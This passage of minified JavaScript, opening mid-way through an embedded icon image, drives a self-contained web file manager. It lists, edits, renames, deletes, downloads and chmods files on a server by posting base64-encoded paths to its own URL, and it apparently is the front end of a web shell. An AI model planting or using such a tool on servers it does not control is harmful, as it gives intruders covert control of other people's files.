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",sh_icon="data:image/png;base64,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";function list_dir(e){void 0===e&&(e=".");let t=document.querySelector(".inner table"),A=document.querySelector(".inner .loaderhold .loader");t.style.display="none",A.style.display="block";let n=new FormData;n.append("list_dir",btoa(e));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){var e=JSON.parse(this.response);if(void 0!==e.status||null==e.name||null==e.name||""==e.name)show_popup("Can not change dir!",3e3,"alert"),A.style.display="none",t.style.display="table",document.getElementById("curr_dir").value=working_dir;else{let n=document.querySelector(".inner table tbody"),i=n.querySelectorAll("tr");for(let e=0;e<i.length;e++)i[e].parentNode.removeChild(i[e]);for(let t=0;t<e.name.length;t++){let A=n.insertRow();A.setAttribute("id","tr_"+t);let i=A.insertCell(),o=A.insertCell(),s=A.insertCell(),l=A.insertCell(),a=A.insertCell(),r=A.insertCell();if(i.style.textAlign="center",o.style.textAlign="left","directory"==e.type[t])".."!=e.name[t]?(i.insertAdjacentHTML("afterbegin",'<i class="fas fa-folder" style="color:#d6b172;"></i>'),r.insertAdjacentHTML("afterbegin",'<div class="icons"><i onclick="download_folder_process(\''+e.path[t].replace(/\\/g,"/")+'\');" class="fas fa-file-archive" style="color:#CB3637" title="Download as zip"></i><i class="fas fa-edit" style="color:#ffcf41" title="Rename" onclick="rename_dir(\''+e.path[t].replace(/\\/g,"/")+"','"+A.getAttribute("id")+"','"+e.name[t]+'\');" style="color:#fff;"></i><i class="fas fa-trash-alt" title="Remove" onclick="remove_file(\''+e.path[t].replace(/\\/g,"/")+"','"+A.getAttribute("id")+'\');" style="color:#f55858;"></i></div>'),o.insertAdjacentHTML("afterbegin","<span onclick=\"list_dir('"+e.path[t].replace(/\\/g,"/")+"');\">"+e.name[t]+"</span>")):(i.insertAdjacentHTML("afterbegin",'<i class="fas fa-folder" style="color:#d6b172;"></i>'),r.insertAdjacentHTML("afterbegin",""),o.insertAdjacentHTML("afterbegin","<span onclick=\"list_dir('"+e.path[t].replace(/\\/g,"/")+'\');"><i class="fas fa-arrow-left"></i></span>'));else{let n=e.name[t].substring(e.name[t].lastIndexOf(".")+1).toLowerCase();"js"==n?i.insertAdjacentHTML("afterbegin",'<i class="fab fa-js" style="color:orange"></i>'):"sql"==n||"db"==n?i.insertAdjacentHTML("afterbegin",'<i class="fas fa-database"></i>'):"php"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+php_icon+'" />'):"py"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+python_icon+'" />'):"rb"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+ruby_icon+'" />'):"c"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+c_icon+'" />'):"cpp"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+cpp_icon+'" />'):"sh"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+sh_icon+'" />'):"pl"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+perl_icon+'" />'):"config"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+config_icon+'" />'):"ini"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+ini_icon+'" />'):"json"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+json_icon+'" />'):"xml"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+xml_icon+'" />'):"txt"==n?i.insertAdjacentHTML("afterbegin",'<i class="fas fa-file-alt"></i>'):"zip"==n||"rar"==n||"7z"==n||"tar"==n||"tar.gz"==n||"gz"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+zip_icon+'" />'):"css"==n?i.insertAdjacentHTML("afterbegin",'<i class="fab fa-css3-alt" style="color:#3D58E7"></i>'):"jpg"==n||"gif"==n||"png"==n||"jpeg"==n||"bmp"==n||"webp"==n||"svg"==n||"ico"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+image_icon+'" />'):"html"==n||"htm"==n||"shtml"==n?i.insertAdjacentHTML("afterbegin",'<i class="fab fa-html5" style="color:#EA682D"></i>'):"java"==n||"jar"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+java_icon+'" />'):"pdf"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+pdf_icon+'" />'):"doc"==n||"docx"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+word_icon+'" />'):"m4a"==n||"flac"==n||"mp3"==n||"wav"==n||"aac"==n||"wma"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+audio_icon+'" />'):"csv"==n||"xls"==n||"xlsx"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+excel_icon+'" />'):"potx"==n||"ppsx"==n||"pptx"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+powerpoint_icon+'" />'):"mp4"==n||"avi"==n||"mov"==n||"wmv"==n||"flv"==n||"avchd"==n||"mkv"==n||"3gp"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+video_icon+'" />'):i.insertAdjacentHTML("afterbegin",'<i class="fas fa-file"></i>'),r.insertAdjacentHTML("afterbegin",'<div class="icons"><i class="fas fa-edit" style="color:#ffcf41" title="Edit" onclick="edit_file(\''+e.path[t].replace(/\\/g,"/")+"','"+A.getAttribute("id")+'\');" style="color:#fff;"></i><i class="fas fa-trash-alt" title="Remove" onclick="remove_file(\''+e.path[t].replace(/\\/g,"/")+"','"+A.getAttribute("id")+'\');" style="color:#f55858;"></i><i class="fas fa-file-download" title="Download" onclick="download_file(\''+e.path[t].replace(/\\/g,"/")+'\');" style="color:#fff"></i></div>'),o.insertAdjacentHTML("afterbegin",'<span class="toggle" onclick="edit_file(\''+e.path[t].replace(/\\/g,"/")+"','"+A.getAttribute("id")+"');\">"+e.name[t]+"</span>")}s.innerText=e.size[t],l.innerText=e.modify[t],a.insertAdjacentHTML("afterbegin",'<span class="toggle" onclick="set_chmod(\''+e.path[t].replace(/\\/g,"/")+"','"+e.perm_num[t]+"');\">"+e.perms[t]+"</span>")}A.style.display="none",t.style.display="table",document.getElementById("curr_dir").value=e.current_dir,document.getElementById("read_file").value=e.current_dir,working_dir=e.current_dir;let o=separate_path(),s="";for(let e=0;e<o[0].length;e++){let t=o[1][e];"/"==o[0][e]?s+="<strong style='cursor:pointer;font-size:16px;' onclick='list_dir(\""+t+"\")'>"+o[0][e]+"</strong>":s+="<strong style='cursor:pointer;font-size:16px;' onclick='list_dir(\""+t+"\")'>"+o[0][e]+"/</strong>"}document.getElementById("path").innerHTML=s}}},i.send(n)}function remove_file(e,t){if(window.confirm("Do you really want to remove this item?")){let A=document.getElementById(t),n=new FormData;n.append("remove_file",btoa(e));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){if("removed"!=JSON.parse(this.response).status)return show_popup("This file/folder cannot be removed,check permissions!",3e3,"alert"),!1;A.parentNode.removeChild(A),show_popup("Removed successfully!",2500,"success")}},i.send(n)}}function edit_file(e,t){empty_process_screen();let A=document.querySelector(".process-screen"),n=document.createElement("h3");n.innerHTML="Edit file "+e;let i=document.createElement("img");i.style.display="none",i.style.width="250px",i.style.height="250px";let o=document.createElement("audio");o.controls=!0,o.style.display="none",o.style.marginTop="10px";let s=document.createElement("video");s.controls=!0,s.width=350,s.height=350,s.style.display="none",s.style.marginTop="10px";let l=document.createElement("form");l.setAttribute("id","editfile"),l.setAttribute("onsubmit","event.preventDefault();");let a=document.createElement("input");a.value=e,a.type="text";let r=document.createElement("textarea");r.value="Loading...",r.disabled=!0;let c=document.createElement("button");c.innerHTML="EDIT";let d=new FormData;d.append("read_file",btoa(e));let p=new XMLHttpRequest;p.open("post",basename(),!0),p.onload=function(){if(4==p.readyState)try{let n=JSON.parse(this.response);if(void 0!==n.data_url)r.parentNode.removeChild(r),i.src=n.data_url,i.style.display="block",c.setAttribute("onclick",'edit_file_process("'+e+'","'+t+'","nosave");');else if(n.audio){r.parentNode.removeChild(r);let e=document.createElement("source");e.src=basename()+"?play_audio="+n.audio,o.appendChild(e),o.style.display="block"}else if(n.video){r.parentNode.removeChild(r);let e=document.createElement("source");e.src=basename()+"?play_video="+n.video,s.appendChild(e),s.style.display="block"}else c.setAttribute("onclick",'edit_file_process("'+e+'","'+t+'","save");'),null!=n.content?r.value=atob(n.content):(show_popup("Can not read this file!",3e3,"alert"),A.style.visibility="hidden",A.style.opacity="0",A.style.top="-50%");r.disabled=!1}catch(e){console.log(e)}},p.send(d),l.appendChild(a),l.appendChild(o),l.appendChild(s),l.appendChild(i),l.appendChild(r),l.appendChild(c),A.appendChild(n),A.appendChild(l),A.style.visibility="visible",A.style.opacity="1",A.style.top="50%"}function edit_file_process(e,t,A){let n=new FormData,i=document.getElementById("editfile"),o=i.querySelector("button");if("nosave"!==A){let e=i.querySelector("textarea").value;n.append("content",btoa(e))}let s=i.querySelector("input").value;n.append("edit_file",btoa(e)),s!==e&&n.append("rename",btoa(s)),o.disabled=!0,o.innerHTML="EDITING...";let l=new XMLHttpRequest;l.open("post",basename(),!0),l.onload=function(){if(4==l.readyState){try{let n=JSON.parse(this.response);if("failed"==n.status)show_popup("Can not edit this file!",3e3,"alert");else if("ok"==n.status)show_popup("File has edited successfully!",3e3,"success");else if(show_popup("File has edited successfully!",3e3,"success"),null!==t||""!==t){let i,o=document.getElementById(t).getElementsByTagName("td"),s=document.getElementById("screen");"nosave"!==A&&(i=s.querySelector("textarea").value),s.querySelector("button").disabled=!1,s.querySelector("button").innerHTML="EDIT",s.innerHTML=s.innerHTML.replace(new RegExp(escapeRegExp(n.old_name),"g"),n.status),s.querySelector("input").value=e.replace(new RegExp(escapeRegExp(n.old_name),"g"),n.status),"nosave"!==A&&(s.querySelector("textarea").value=i);for(let e=0;e<o.length;e++)o[e].innerHTML=o[e].innerHTML.replace(new RegExp(escapeRegExp(n.old_name),"g"),n.status)}}catch(e){console.log(e)}o.disabled=!1,o.innerHTML="EDIT"}},l.send(n)}function readfile(){edit_file(document.getElementById("read_file").value,"")}function download_file(e){window.location=basename()+"?download_file="+btoa(e)}function rename_dir(e,t,A){empty_process_screen();let n=document.querySelector(".process-screen"),i=document.createElement("h3");i.innerHTML="Rename directory "+e;let o=document.createElement("form");o.setAttribute("id","renamedir"),o.setAttribute("onsubmit","event.preventDefault();");let s=document.createElement("input"),l=document.createElement("button");l.innerHTML="RENAME",l.setAttribute("onclick",'rename_dir_process("'+e+'","'+t+'","'+A+'");'),s.type="text",s.value=A,o.appendChild(s),o.appendChild(l),n.appendChild(i),n.appendChild(o),n.style.visibility="visible",n.style.opacity="1",n.style.top="50%"}function rename_dir_process(e,t,A){let n=document.getElementById("renamedir"),i=n.querySelector("button"),o=n.querySelector("input");if(""==o.value)show_popup("Empty field!",3e3,"alert");else if(o.value==A)show_popup("Name is same with the old one!",3e3,"alert");else{i.disabled=!0,i.innerHTML="CHANGING...";let n=new FormData;n.append("new_name",o.value),n.append("rename_target",btoa(e)),n.append("old_name",A);let s=new XMLHttpRequest;s.open("post",basename(),!0),s.onload=function(){if(4==s.readyState){if("failed"==JSON.parse(this.response).status)show_popup("Can not change the name!",3e3,"alert"),o.value=A;else{show_popup("Name change applied successfully!",3e3,"success");let e=document.getElementById(t).getElementsByTagName("td"),n=document.getElementById("screen");n.innerHTML=n.innerHTML.replace(new RegExp(escapeRegExp(A),"g"),o.value),n.querySelector("input").value=o.value;for(let t=0;t<e.length;t++)e[t].innerHTML=e[t].innerHTML.replace(new RegExp(escapeRegExp(A),"g"),o.value)}document.querySelector("#renamedir button").disabled=!1,document.querySelector("#renamedir button").innerHTML="RENAME"}},s.send(n)}}function set_chmod(e,t){empty_process_screen();let A=document.querySelector(".process-screen"),n=document.createElement("h3");n.innerHTML="Set chmod of "+e;let i=document.createElement("form");i.setAttribute("id","setchmod"),i.setAttribute("onsubmit","event.preventDefault();");let o=document.createElement("input"),s=document.createElement("button");s.innerHTML="SET",s.setAttribute("onclick",'set_chmod_file("'+e+'","'+t+'");'),o.type="text",o.value=t,i.appendChild(o),i.appendChild(s),A.appendChild(n),A.appendChild(i),A.style.visibility="visible",A.style.opacity="1",A.style.top="50%"}function set_chmod_file(e,t){let A=document.getElementById("setchmod"),n=A.querySelector("button"),i=A.querySelector("input");if(""==i.value||isNaN(i.value))show_popup("Empty/non-numeric field is not allowed!",3e3,"alert");else{n.disabled=!0,n.innerHTML="SETTING...";let A=new FormData;A.append("chmod",btoa(i.value)),A.append("chmod_target",btoa(e));let o=new XMLHttpRequest;o.open("post",basename(),!0),o.onload=function(){if(4==o.readyState){"failed"==JSON.parse(this.response).status?(show_popup("Can not process this chmod setting to target!",3e3,"alert"),i.value=t):(show_popup("Chmod settings applied successfully!",3e3,"success"),list_dir(working_dir)),n.disabled=!1,n.innerHTML="SET"}},o.send(A)}}function show_popup(e,t,A){let n;(n="alert"==A?document.querySelector(".popup-box.alert"):document.querySelector(".popup-box.success")).innerHTML=e,n.style.right="10px",n.style.opacity="1",n.style.visibility="visible",setTimeout(function(){n.style.right="-9999px",n.style.opacity="0",n.style.visibility="hidden"},t)}function empty_process_screen(){document.querySelector(".mwsbox .process-screen").innerHTML=""}function change_dir(){list_dir(document.getElementById("curr_dir").value)}function create_file(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Create a file";let A=document.createElement("form");A.setAttribute("id","createfile"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button");i.innerHTML="Create",i.setAttribute("onclick","create_file_process();"),n.type="text",n.value="",n.setAttribute("required",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function create_file_process(){let e=document.getElementById("createfile"),t=e.querySelector("button"),A=e.querySelector("input"),n=document.getElementById("curr_dir").value;if(""!==A.value){let e=new FormData;e.append("create_file",btoa(A.value)),e.append("directory",btoa(n)),t.disabled=!0,t.innerHTML="CREATING...";let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let e=JSON.parse(this.response);"ok"==e.status?(show_popup("File has created successfully!",3e3,"success"),list_dir(n)):"failed"==e.status?(show_popup("File can not be created!",3e3,"alert"),A.value=""):(show_popup("This file/folder is already exists!",3e3,"alert"),A.value=""),t.disabled=!1,t.innerHTML="CREATE"}},i.send(e)}}function create_dir(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Create a directory";let A=document.createElement("form");A.setAttribute("id","createdir"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button");i.innerHTML="Create",i.setAttribute("onclick","create_dir_process();"),n.type="text",n.value="",n.setAttribute("required",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function create_dir_process(){let e=document.getElementById("createdir").querySelector("input"),t=document.getElementById("curr_dir").value;if(""!==e.value){let A=new FormData;A.append("create_dir",btoa(e.value)),A.append("directory",btoa(t));let n=new XMLHttpRequest;n.open("post",basename(),!0),n.onload=function(){if(4==n.readyState){let A=JSON.parse(this.response);"ok"==A.status?(show_popup("Directory has created successfully!",3e3,"success"),list_dir(t)):"failed"==A.status?(show_popup("Directory can not be created!",3e3,"alert"),e.value=""):(show_popup("This directory is already exists!",3e3,"alert"),e.value="")}},n.send(A)}}function file_upload(){empty_process_screen();let 